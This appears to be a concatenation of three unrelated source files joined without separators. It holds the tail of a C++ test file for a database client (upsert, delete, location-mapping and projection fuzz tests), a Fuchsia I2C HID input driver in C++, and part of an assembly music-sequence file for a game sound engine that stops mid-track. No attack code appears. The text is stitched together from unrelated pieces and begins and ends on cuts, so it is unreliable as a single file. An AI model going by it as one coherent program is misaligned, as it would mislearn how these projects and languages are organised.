ASSERT_TRUE(flush_status.IsIOError()) << flush_status.ToString(); ASSERT_STR_CONTAINS(flush_status.ToString(), "IO error: Some errors occurred"); } // Make sure if a non-nullable column (without defaults) is not set for an // upsert operation, the operation cannot be applied. { shared_ptr<KuduSession> session(client_->NewSession()); ASSERT_OK(session->SetFlushMode(KuduSession::MANUAL_FLUSH)); unique_ptr<KuduUpsert> op(client_table_->NewUpsert()); auto* row = op->mutable_row(); ASSERT_OK(row->SetInt32("key", 1)); // The non-nullable column 'int_val' without default is not set, so // Apply() should fail. const auto apply_status = session->Apply(op.release()); ASSERT_TRUE(apply_status.IsIllegalState()) << apply_status.ToString(); ASSERT_STR_CONTAINS(apply_status.ToString(), "non-nullable column 'int_val' is not set"); // Of course, Flush() should fail as well. const auto flush_status = session->Flush(); ASSERT_TRUE(flush_status.IsIOError()) << flush_status.ToString(); ASSERT_STR_CONTAINS(flush_status.ToString(), "IO error: Some errors occurred"); } // Do delete a row, only the key is necessary. { shared_ptr<KuduSession> session = client_->NewSession(); ASSERT_OK(session->SetFlushMode(KuduSession::AUTO_FLUSH_SYNC)); unique_ptr<KuduDelete> op(client_table_->NewDelete()); auto* row = op->mutable_row(); ASSERT_OK(row->SetInt32("key", 0)); ASSERT_OK(session->Apply(op.release())); } } TEST_F(ClientTest, TestClientLocationNoLocationMappingCmd) { ASSERT_TRUE(client_->location().empty()); } // Client test that assigns locations to clients and tablet servers. // For now, assigns a uniform location to all clients and tablet servers. class ClientWithLocationTest : public ClientTest { protected: void SetLocationMappingCmd() override { const string location_cmd_path = JoinPathSegments(GetTestExecutableDirectory(), "testdata/first_argument.sh"); const string location = "/foo"; FLAGS_location_mapping_cmd = strings::Substitute("$0 $1", location_cmd_path, location); FLAGS_location_mapping_by_uuid = true; } }; TEST_F(ClientWithLocationTest, TestClientLocation) { ASSERT_EQ("/foo", client_->location()); } TEST_F(ClientWithLocationTest, LocationCacheMetricsOnClientConnectToCluster) { ASSERT_EQ("/foo", client_->location()); auto& metric_entity = cluster_->mini_master()->master()->metric_entity(); scoped_refptr<Counter> counter_hits( METRIC_location_mapping_cache_hits.Instantiate(metric_entity)); const auto hits_before = counter_hits->value(); ASSERT_EQ(0, hits_before); scoped_refptr<Counter> counter_queries( METRIC_location_mapping_cache_queries.Instantiate(metric_entity)); const auto queries_before = counter_queries->value(); // Expecting location assignment queries from all tablet servers and // the client. ASSERT_EQ(cluster_->num_tablet_servers() + 1, queries_before); static constexpr int kIterNum = 10; for (auto iter = 0; iter < kIterNum; ++iter) { shared_ptr<KuduClient> client; ASSERT_OK(KuduClientBuilder() .add_master_server_addr(cluster_->mini_master()->bound_rpc_addr().ToString()) .Build(&client)); ASSERT_EQ("/foo", client->location()); } // The location mapping cache should be hit every time a client is connecting // from the same host as the former client. Nothing else should be touching // the location assignment logic but ConnectToCluster() requests coming from // the clients instantiated above. const auto queries_after = counter_queries->value(); ASSERT_EQ(queries_before + kIterNum, queries_after); const auto hits_after = counter_hits->value(); ASSERT_EQ(hits_before + kIterNum, hits_after); } // Regression test for KUDU-2980. TEST_F(ClientTest, TestProjectionPredicatesFuzz) { const int kNumColumns = 20; const int kNumPKColumns = kNumColumns / 2; const char* const kTableName = "test"; // Create a schema with half of the columns in the primary key. // // Use a smattering of different physical data types to increase the // likelihood of a size transition between primary key components. KuduSchemaBuilder b; vector<string> pk_col_names; vector<string> all_col_names; KuduColumnSchema::DataType data_type = KuduColumnSchema::STRING; for (int i = 0; i < kNumColumns; i++) { string col_name = std::to_string(i); b.AddColumn(col_name)->Type(data_type)->NotNull(); if (i < kNumPKColumns) { pk_col_names.emplace_back(col_name); } all_col_names.emplace_back(std::move(col_name)); // Rotate to next data type. switch (data_type) { case KuduColumnSchema::INT8: data_type = KuduColumnSchema::INT16; break; case KuduColumnSchema::INT16: data_type = KuduColumnSchema::INT32; break; case KuduColumnSchema::INT32: data_type = KuduColumnSchema::INT64; break; case KuduColumnSchema::INT64: data_type = KuduColumnSchema::STRING; break; case KuduColumnSchema::STRING: data_type = KuduColumnSchema::INT8; break; default: LOG(FATAL) << "Unexpected data type " << data_type; } } b.SetPrimaryKey(pk_col_names); KuduSchema schema; ASSERT_OK(b.Build(&schema)); // Create and open the table. We don't care about replication or partitioning. unique_ptr<KuduTableCreator> table_creator(client_->NewTableCreator()); ASSERT_OK(table_creator->table_name(kTableName) .schema(&schema) .set_range_partition_columns({}) .num_replicas(1) .Create()); shared_ptr<KuduTable> table; ASSERT_OK(client_->OpenTable(kTableName, &table)); unique_ptr<KuduScanner> scanner; scanner.reset(new KuduScanner(table.get())); // Pick a random selection of columns to project. // // Done before inserting data so the projection can be used to determine the // expected scan results. Random rng(SeedRandom()); vector<string> projected_col_names = SelectRandomSubset<vector<string>, string, Random>(all_col_names, 0, &rng); std::random_shuffle(projected_col_names.begin(), projected_col_names.end()); ASSERT_OK(scanner->SetProjectedColumnNames(projected_col_names)); // Insert some rows with randomized keys, flushing the tablet periodically. const int kNumRows = 20; shared_ptr<KuduSession> session = client_->NewSession(); vector<string> expected_rows; for (int i = 0; i < kNumRows; i++) { unique_ptr<KuduInsert> insert(table->NewInsert()); KuduPartialRow* row = insert->mutable_row(); GenerateDataForRow(schema, &rng, row); // Store a copy of the row for later, to compare with the scan results. // // The copy should look like KuduScanBatch::RowPtr::ToString() and must // conform to the projection schema. ConstContiguousRow ccr(row->schema(), row->row_data_); string row_str = "("; row_str += JoinMapped(projected_col_names, [&](const string& col_name) { int col_idx = row->schema()->find_column(col_name); const auto& col = row->schema()->column(col_idx); DCHECK_NE(Schema::kColumnNotFound, col_idx); string cell; col.DebugCellAppend(ccr.cell(col_idx), &cell); return cell; }, ", "); row_str += ")"; expected_rows.emplace_back(std::move(row_str)); ASSERT_OK(session->Apply(insert.release())); // Leave one row in the tablet's MRS so that the scan includes one rowset // without bounds. This affects the behavior of FT scans. if (i < kNumRows - 1 && rng.OneIn(2)) { NO_FATALS(FlushTablet(GetFirstTabletId(table.get()))); } } // Pick a random selection of columns for predicates. // // We use NOT NULL predicates so as to tickle the server-side code for dealing // with predicates without actually affecting the scan results. vector<string> predicate_col_names = SelectRandomSubset<vector<string>, string, Random>(all_col_names, 0, &rng); for (const auto& col_name : predicate_col_names) { unique_ptr<KuduPredicate> pred(table->NewIsNotNullPredicate(col_name)); ASSERT_OK(scanner->AddConjunctPredicate(pred.release())); } // Use a fault tolerant scan half the time. if (rng.OneIn(2)) { ASSERT_OK(scanner->SetFaultTolerant()); } // Perform the scan and verify the results. // // We ignore result ordering because although FT scans will produce rows // sorted by primary keys, regular scans will not. vector<string> rows; ASSERT_OK(ScanToStrings(scanner.get(), &rows)); ASSERT_EQ(unordered_set<string>(expected_rows.begin(), expected_rows.end()), unordered_set<string>(rows.begin(), rows.end())) << rows; } } // namespace client } // namespace kudu
// Copyright 2016 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "i2c-hid.h" #include <endian.h> #include <lib/zx/time.h> #include <stdbool.h> #include <stdlib.h> #include <unistd.h> #include <zircon/assert.h> #include <zircon/hw/i2c.h> #include <zircon/types.h> #include <vector> #include <ddk/debug.h> #include <ddk/device.h> #include <ddk/driver.h> #include <ddk/trace/event.h> #include <fbl/auto_call.h> #include <fbl/auto_lock.h> #include "src/ui/input/drivers/i2c-hid/i2c_hid_bind.h" namespace i2c_hid { namespace { // Sets the bytes for an I2c command. This requires there to be at least 5 bytes in |command_bytes|. // Also |command_register| must be in the host format. Returns the number of bytes set. constexpr uint8_t SetI2cCommandBytes(uint16_t command_register, uint8_t command, uint8_t command_data, uint8_t* command_bytes) { // Setup command_bytes as little endian. command_bytes[0] = static_cast<uint8_t>(command_register & 0xff); command_bytes[1] = static_cast<uint8_t>(command_register >> 8); command_bytes[2] = command_data; command_bytes[3] = command; return 4; } // Set the command bytes for a HID GET/SET command. Returns the number of bytes set. static uint8_t SetI2cGetSetCommandBytes(uint16_t command_register, uint8_t command, uint8_t rpt_type, uint8_t rpt_id, uint8_t* command_bytes) { uint8_t command_bytes_index = 0; uint8_t command_data = static_cast<uint8_t>(rpt_type << 4U); if (rpt_id < 0xF) { command_data |= rpt_id; } else { command_data |= 0x0F; } command_bytes_index += SetI2cCommandBytes(command_register, command, command_data, command_bytes); if (rpt_id >= 0xF) { command_bytes[command_bytes_index++] = rpt_id; } return command_bytes_index; } } // namespace // Poll interval: 10 ms #define I2C_POLL_INTERVAL_USEC 10000 // Send the device a HOST initiated RESET. Caller must call // i2c_wait_for_ready_locked() afterwards to guarantee completion. // If |force| is false, do not issue a reset if there is one outstanding. zx_status_t I2cHidbus::Reset(bool force) { uint8_t buf[4]; uint16_t cmd_reg = letoh16(hiddesc_.wCommandRegister); SetI2cCommandBytes(cmd_reg, kResetCommand, 0, buf); fbl::AutoLock lock(&i2c_lock_); if (!force && i2c_pending_reset_) { return ZX_OK; } i2c_pending_reset_ = true; zx_status_t status = i2c_.WriteSync(buf, sizeof(buf)); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not issue reset: %d", status); return status; } return ZX_OK; } // Must be called with i2c_lock held. void I2cHidbus::WaitForReadyLocked() { while (i2c_pending_reset_) { i2c_reset_cnd_.Wait(&i2c_lock_); } } zx_status_t I2cHidbus::HidbusGetReport(uint8_t rpt_type, uint8_t rpt_id, uint8_t* data, size_t len, size_t* out_len) { uint16_t cmd_reg = letoh16(hiddesc_.wCommandRegister); uint16_t data_reg = letoh16(hiddesc_.wDataRegister); uint8_t command_bytes[7]; uint8_t command_bytes_index = 0; // Set the command bytes. command_bytes_index += SetI2cGetSetCommandBytes(cmd_reg, kGetReportCommand, rpt_type, rpt_id, command_bytes); command_bytes[command_bytes_index++] = static_cast<uint8_t>(data_reg & 0xff); command_bytes[command_bytes_index++] = static_cast<uint8_t>(data_reg >> 8); fbl::AutoLock lock(&i2c_lock_); // Send the command and read back the length of the response. std::vector<uint8_t> report(len + 2); zx_status_t status = i2c_.WriteReadSync(command_bytes, command_bytes_index, report.data(), report.size()); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not issue get_report: %d", status); return status; } uint16_t response_len = static_cast<uint16_t>(report[0] + (report[1] << 8U)); if (response_len != len + 2) { zxlogf(ERROR, "i2c-hid: response_len %d != len: %ld", response_len, len + 2); } uint16_t report_len = response_len - 2; if (report_len > len) { return ZX_ERR_BUFFER_TOO_SMALL; } *out_len = report_len; memcpy(data, report.data() + 2, report_len); return ZX_OK; } zx_status_t I2cHidbus::HidbusSetReport(uint8_t rpt_type, uint8_t rpt_id, const uint8_t* data, size_t len) { uint16_t cmd_reg = letoh16(hiddesc_.wCommandRegister); uint16_t data_reg = letoh16(hiddesc_.wDataRegister); // The command bytes are the 6 or 7 bytes for the command, 2 bytes for the report's size, // and then the full report. std::vector<uint8_t> command_bytes(7 + 2 + len); uint8_t command_bytes_index = 0; // Set the command bytes. command_bytes_index += SetI2cGetSetCommandBytes(cmd_reg, kSetReportCommand, rpt_type, rpt_id, command_bytes.data()); command_bytes[command_bytes_index++] = static_cast<uint8_t>(data_reg & 0xff); command_bytes[command_bytes_index++] = static_cast<uint8_t>(data_reg >> 8); // Set the bytes for the report's size. command_bytes[command_bytes_index++] = static_cast<uint8_t>((len + 2) & 0xff); command_bytes[command_bytes_index++] = static_cast<uint8_t>((len + 2) >> 8); // Set the bytes for the report. memcpy(command_bytes.data() + command_bytes_index, data, len); command_bytes_index += len; fbl::AutoLock lock(&i2c_lock_); // Send the command. zx_status_t status = i2c_.WriteSync(command_bytes.data(), command_bytes_index); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not issue set_report: %d", status); return status; } return ZX_OK; } zx_status_t I2cHidbus::HidbusQuery(uint32_t options, hid_info_t* info) { if (!info) { return ZX_ERR_INVALID_ARGS; } info->dev_num = 0; info->device_class = HID_DEVICE_CLASS_OTHER; info->boot_device = false; info->vendor_id = hiddesc_.wVendorID; info->product_id = hiddesc_.wProductID; info->version = hiddesc_.wVersionID; return ZX_OK; } zx_status_t I2cHidbus::HidbusStart(const hidbus_ifc_protocol_t* ifc) { fbl::AutoLock lock(&ifc_lock_); if (ifc_.is_valid()) { return ZX_ERR_ALREADY_BOUND; } ifc_ = ddk::HidbusIfcProtocolClient(ifc); return ZX_OK; } void I2cHidbus::HidbusStop() { fbl::AutoLock lock(&ifc_lock_); ifc_.clear(); } zx_status_t I2cHidbus::HidbusGetDescriptor(hid_description_type_t desc_type, uint8_t* out_data_buffer, size_t data_size, size_t* out_data_actual) { if (desc_type != HID_DESCRIPTION_TYPE_REPORT) { return ZX_ERR_NOT_FOUND; } fbl::AutoLock lock(&i2c_lock_); WaitForReadyLocked(); size_t desc_len = letoh16(hiddesc_.wReportDescLength); uint16_t desc_reg = letoh16(hiddesc_.wReportDescRegister); uint16_t buf = htole16(desc_reg); if (data_size < desc_len) { return ZX_ERR_BUFFER_TOO_SMALL; } zx_status_t status = i2c_.WriteReadSync(reinterpret_cast<uint8_t*>(&buf), sizeof(uint16_t), static_cast<uint8_t*>(out_data_buffer), desc_len); if (status < 0) { zxlogf(ERROR, "i2c-hid: could not read HID report descriptor from reg 0x%04x: %d", desc_reg, status); return ZX_ERR_NOT_SUPPORTED; } *out_data_actual = desc_len; return ZX_OK; } // TODO(teisenbe/tkilbourn): Remove this once we pipe IRQs from ACPI int I2cHidbus::WorkerThreadNoIrq() { zxlogf(INFO, "i2c-hid: using noirq"); zx_status_t status = Reset(true); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: failed to reset i2c device"); return 0; } uint16_t len = letoh16(hiddesc_.wMaxInputLength); uint8_t* buf = static_cast<uint8_t*>(malloc(len)); uint16_t report_len = 0; // Last report received, so we can deduplicate. This is only necessary since // we haven't wired through interrupts yet, and some devices always return // the last received report when you attempt to read from them. uint8_t* last_report = static_cast<uint8_t*>(malloc(len)); size_t last_report_len = 0; // Skip deduplicating for the first read. bool dedupe = false; zx_time_t last_timeout_warning = 0; const zx_duration_t kMinTimeBetweenWarnings = ZX_SEC(10); // Until we have a way to map the GPIO associated with an i2c slave to an // IRQ, we just poll. while (!stop_worker_thread_) { usleep(I2C_POLL_INTERVAL_USEC); TRACE_DURATION("input", "Device Read"); last_report_len = report_len; // Swap buffers uint8_t* tmp = last_report; last_report = buf; buf = tmp; { fbl::AutoLock lock(&i2c_lock_); // Perform a read with no register address. status = i2c_.WriteReadSync(nullptr, 0, buf, len); if (status != ZX_OK) { if (status == ZX_ERR_TIMED_OUT) { zx_time_t now = zx_clock_get_monotonic(); if (now - last_timeout_warning > kMinTimeBetweenWarnings) { zxlogf(DEBUG, "i2c-hid: device_read timed out"); last_timeout_warning = now; } continue; } zxlogf(ERROR, "i2c-hid: device_read failure %d", status); continue; } report_len = letoh16(*(uint16_t*)buf); // Check for duplicates. See comment by |last_report| definition. if (dedupe && last_report_len == report_len && report_len <= len && !memcmp(buf, last_report, report_len)) { continue; } dedupe = true; if (report_len == 0x0) { zxlogf(DEBUG, "i2c-hid reset detected"); // Either host or device reset. i2c_pending_reset_ = false; i2c_reset_cnd_.Broadcast(); continue; } if (i2c_pending_reset_) { zxlogf(INFO, "i2c-hid: received event while waiting for reset? %u", report_len); continue; } if ((report_len == 0xffff) || (report_len == 0x3fff)) { // nothing to read continue; } if ((report_len < 2) || (report_len > len)) { zxlogf(ERROR, "i2c-hid: bad report len (rlen %hu, bytes read %d)!!!", report_len, len); continue; } } { fbl::AutoLock lock(&ifc_lock_); if (ifc_.is_valid()) { ifc_.IoQueue(buf + 2, report_len - 2, zx_clock_get_monotonic()); } } } free(buf); free(last_report); return 0; } int I2cHidbus::WorkerThreadIrq() { zxlogf(DEBUG, "i2c-hid: using irq"); zx_status_t status = Reset(true); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: failed to reset i2c device"); return 0; } uint16_t len = letoh16(hiddesc_.wMaxInputLength); uint8_t* buf = static_cast<uint8_t*>(malloc(len)); zx_time_t last_timeout_warning = 0; const zx_duration_t kMinTimeBetweenWarnings = ZX_SEC(10); while (true) { zx::time timestamp; zx_status_t status = irq_.wait(&timestamp); if (status != ZX_OK) { if (status != ZX_ERR_CANCELED) { zxlogf(ERROR, "i2c-hid: interrupt wait failed %d", status); } break; } if (stop_worker_thread_) { break; } TRACE_DURATION("input", "Device Read"); uint16_t report_len = 0; { fbl::AutoLock lock(&i2c_lock_); // Perform a read with no register address. status = i2c_.WriteReadSync(nullptr, 0, buf, len); if (status != ZX_OK) { if (status == ZX_ERR_TIMED_OUT) { zx_time_t now = zx_clock_get_monotonic(); if (now - last_timeout_warning > kMinTimeBetweenWarnings) { zxlogf(DEBUG, "i2c-hid: device_read timed out"); last_timeout_warning = now; } continue; } zxlogf(ERROR, "i2c-hid: device_read failure %d", status); continue; } report_len = letoh16(*(uint16_t*)buf); if (report_len == 0x0) { zxlogf(DEBUG, "i2c-hid reset detected"); // Either host or device reset. i2c_pending_reset_ = false; i2c_reset_cnd_.Broadcast(); continue; } if (i2c_pending_reset_) { zxlogf(INFO, "i2c-hid: received event while waiting for reset? %u", report_len); continue; } if ((report_len < 2) || (report_len > len)) { zxlogf(ERROR, "i2c-hid: bad report len (report_len %hu, bytes_read %d)!!!", report_len, len); continue; } } { fbl::AutoLock lock(&ifc_lock_); if (ifc_.is_valid()) { ifc_.IoQueue(buf + 2, report_len - 2, timestamp.get()); } } } free(buf); return 0; } void I2cHidbus::Shutdown() { stop_worker_thread_ = true; if (irq_.is_valid()) { irq_.destroy(); } if (worker_thread_started_) { worker_thread_started_ = false; thrd_join(worker_thread_, NULL); } { fbl::AutoLock lock(&ifc_lock_); ifc_.clear(); } } void I2cHidbus::DdkUnbind(ddk::UnbindTxn txn) { Shutdown(); txn.Reply(); } void I2cHidbus::DdkRelease() { delete this; } zx_status_t I2cHidbus::ReadI2cHidDesc(I2cHidDesc* hiddesc) { // TODO: get the address out of ACPI uint8_t buf[2]; uint8_t* data = buf; *data++ = 0x01; *data++ = 0x00; uint8_t out[4]; zx_status_t status; fbl::AutoLock lock(&i2c_lock_); status = i2c_.WriteReadSync(buf, sizeof(buf), out, sizeof(out)); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not read HID descriptor: %d", status); return ZX_ERR_NOT_SUPPORTED; } // We can safely cast here because the descriptor length is the first // 2 bytes of out. uint16_t desc_len = letoh16(*(reinterpret_cast<uint16_t*>(out))); if (desc_len > sizeof(I2cHidDesc)) { desc_len = sizeof(I2cHidDesc); } if (desc_len == 0) { zxlogf(ERROR, "i2c-hid: could not read HID descriptor: %d", status); return ZX_ERR_NOT_SUPPORTED; } status = i2c_.WriteReadSync(buf, sizeof(buf), reinterpret_cast<uint8_t*>(hiddesc), desc_len); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not read HID descriptor: %d", status); return ZX_ERR_NOT_SUPPORTED; } zxlogf(DEBUG, "i2c-hid: desc:"); zxlogf(DEBUG, " report desc len: %u", letoh16(hiddesc->wReportDescLength)); zxlogf(DEBUG, " report desc reg: %u", letoh16(hiddesc->wReportDescRegister)); zxlogf(DEBUG, " input reg: %u", letoh16(hiddesc->wInputRegister)); zxlogf(DEBUG, " max input len: %u", letoh16(hiddesc->wMaxInputLength)); zxlogf(DEBUG, " output reg: %u", letoh16(hiddesc->wOutputRegister)); zxlogf(DEBUG, " max output len: %u", letoh16(hiddesc->wMaxOutputLength)); zxlogf(DEBUG, " command reg: %u", letoh16(hiddesc->wCommandRegister)); zxlogf(DEBUG, " data reg: %u", letoh16(hiddesc->wDataRegister)); zxlogf(DEBUG, " vendor id: %x", hiddesc->wVendorID); zxlogf(DEBUG, " product id: %x", hiddesc->wProductID); zxlogf(DEBUG, " version id: %x", hiddesc->wVersionID); return ZX_OK; } zx_status_t I2cHidbus::Bind(ddk::I2cChannel i2c) { zx_status_t status; { fbl::AutoLock lock(&i2c_lock_); i2c_ = std::move(i2c); i2c_.GetInterrupt(0, &irq_); } status = DdkAdd("i2c-hid"); if (status != ZX_OK) { zxlogf(ERROR, "i2c-hid: could not add device: %d", status); return status; } return ZX_OK; } void I2cHidbus::DdkInit(ddk::InitTxn txn) { init_txn_ = std::move(txn); auto worker_thread = [](void* arg) -> int { auto dev = reinterpret_cast<I2cHidbus*>(arg); dev->worker_thread_started_ = true; zx_status_t status = ZX_OK; // Retry the first transaction a few times; in some cases (e.g. on Slate) the device was powered // on explicitly during enumeration, and there is a warmup period after powering on the device // during which the device is not responsive over i2c. // TODO(jfsulliv): It may make more sense to introduce a delay after powering on the device, // rather than here while attempting to bind. int retries = 3; while (retries-- > 0) { if ((status = dev->ReadI2cHidDesc(&dev->hiddesc_)) == ZX_OK) { break; } zx::nanosleep(zx::deadline_after(zx::msec(100))); zxlogf(INFO, "i2c-hid: Retrying reading HID descriptor"); } ZX_ASSERT(dev->init_txn_); // This will make the device visible and able to be unbound. dev->init_txn_->Reply(status); // No need to remove the device, as replying to init_txn_ with an error will schedule // unbinding. if (status != ZX_OK) { return thrd_error; } if (dev->irq_.is_valid()) { dev->WorkerThreadIrq(); } else { dev->WorkerThreadNoIrq(); } // If |stop_worker_thread_| is not set, than we exited the worker thread because // of an error and not a shutdown. Call DdkAsyncRemove directly. This is a valid // call even if the device is currently unbinding. if (!dev->stop_worker_thread_) { dev->DdkAsyncRemove(); return thrd_error; } return thrd_success; }; int rc = thrd_create_with_name(&worker_thread_, worker_thread, this, "i2c-hid-worker-thread"); if (rc != thrd_success) { return init_txn_->Reply(ZX_ERR_INTERNAL); } // If the worker thread was created successfully, it is in charge of replying to the init txn, // which will make the device visible. } static zx_status_t i2c_hid_bind(void* ctx, zx_device_t* parent) { zx_status_t status; auto dev = std::make_unique<I2cHidbus>(parent); ddk::I2cChannel i2c(parent); if (!i2c.is_valid()) { zxlogf(ERROR, "I2c-Hid: Could not get i2c protocol"); return ZX_ERR_NOT_SUPPORTED; } status = dev->Bind(std::move(i2c)); if (status == ZX_OK) { // devmgr is now in charge of the memory for dev. __UNUSED auto ptr = dev.release(); } return status; } static zx_driver_ops_t i2c_hid_driver_ops = []() { zx_driver_ops_t i2c_hid_driver_ops = {}; i2c_hid_driver_ops.version = DRIVER_OPS_VERSION; i2c_hid_driver_ops.bind = i2c_hid_bind; return i2c_hid_driver_ops; }(); } // namespace i2c_hid // clang-format off ZIRCON_DRIVER(i2c_hid, i2c_hid::i2c_hid_driver_ops, "zircon", "0.1"); // clang-format on
song125restored_pri equ 0 song125restored_rev equ 0 song125restored_mvl equ 127 song125restored_key equ 0 song125restored_tbs equ 1 song125restored_exg equ 0 song125restored_cmp equ 1 .align 4 ;**************** Track 1 (Midi-Chn.1) ****************; @song125restored_1: .byte TEMPO , 45 .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 41 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W96 ; 001 ---------------------------------------- .byte W96 ; 002 ---------------------------------------- .byte W96 ; 003 ---------------------------------------- .byte W96 ; 004 ---------------------------------------- .byte W96 ; 005 ---------------------------------------- .byte W24 .byte N11 , Cn3 , v044 .byte W12 .byte Cn3 , v012 .byte W12 .byte N11 .byte W12 .byte Cn3 , v052 .byte W12 .byte Cn3 , v024 .byte W12 .byte N11 .byte W12 ; 006 ---------------------------------------- @song125restored_1_006: .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte PEND ; 007 ---------------------------------------- @song125restored_1_007: .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte PEND ; 008 ---------------------------------------- @song125restored_1_008: .byte N11 , Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte PEND ; 009 ---------------------------------------- .byte PATT .word @song125restored_1_006 ; 010 ---------------------------------------- .byte PATT .word @song125restored_1_007 ; 011 ---------------------------------------- .byte PATT .word @song125restored_1_008 ; 012 ---------------------------------------- .byte PATT .word @song125restored_1_006 ; 013 ---------------------------------------- .byte PATT .word @song125restored_1_007 ; 014 ---------------------------------------- .byte PATT .word @song125restored_1_008 ; 015 ---------------------------------------- .byte PATT .word @song125restored_1_006 ; 016 ---------------------------------------- .byte PATT .word @song125restored_1_007 ; 017 ---------------------------------------- .byte PATT .word @song125restored_1_008 ; 018 ---------------------------------------- .byte PATT .word @song125restored_1_006 ; 019 ---------------------------------------- .byte PATT .word @song125restored_1_007 ; 020 ---------------------------------------- .byte PATT .word @song125restored_1_008 ; 021 ---------------------------------------- .byte PATT .word @song125restored_1_006 ; 022 ---------------------------------------- .byte PATT .word @song125restored_1_007 ; 023 ---------------------------------------- .byte PATT .word @song125restored_1_008 ; 024 ---------------------------------------- .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W16 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W08 ; 025 ---------------------------------------- @song125restored_1_025: .byte W04 .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W08 .byte PEND ; 026 ---------------------------------------- @song125restored_1_026: .byte W04 .byte N11 , Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W08 .byte PEND ; 027 ---------------------------------------- @song125restored_1_027: .byte W04 .byte N11 , Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W12 .byte N11 .byte W12 .byte Cn3 , v127 .byte W12 .byte Cn3 , v084 .byte W08 .byte PEND ; 028 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 029 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 030 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 031 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 032 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 033 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 034 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 035 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 036 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 037 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 038 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 039 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 040 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 041 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 042 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 043 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 044 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 045 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 046 ---------------------------------------- .byte PATT .word @song125restored_1_025 ; 047 ---------------------------------------- .byte PATT .word @song125restored_1_026 ; 048 ---------------------------------------- .byte PATT .word @song125restored_1_027 ; 049 ---------------------------------------- .byte W04 .byte N11 , Cn3 , v084 .byte W12 .byte Cn3 , v108 .byte W12 .byte Cn3 , v084 .byte W66 .byte W01 .byte VOICE , 41 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W01 ; 050 ---------------------------------------- .byte VOICE , 41 .byte BENDR , 12 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v+12 .byte VOL , 59*song125restored_mvl/mxv .byte BEND , c_v+0 .byte GOTO .word @song125restored_1 ;**************** Track 2 (Midi-Chn.2) ****************; @song125restored_2: .byte KEYSH , song125restored_key+0 ; 000 ---------------------------------------- .byte VOICE , 41 .byte MODT , 0 .byte LFOS , 44 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BENDR , 12 .byte PAN , c_v-45 .byte VOL , 21*song125restored_mvl/mxv .byte BEND , c_v+0 .byte W96 ; 001 ---------------------------------------- .byte W96 ; 002 ---------------------------------------- .byte W96 ; 003 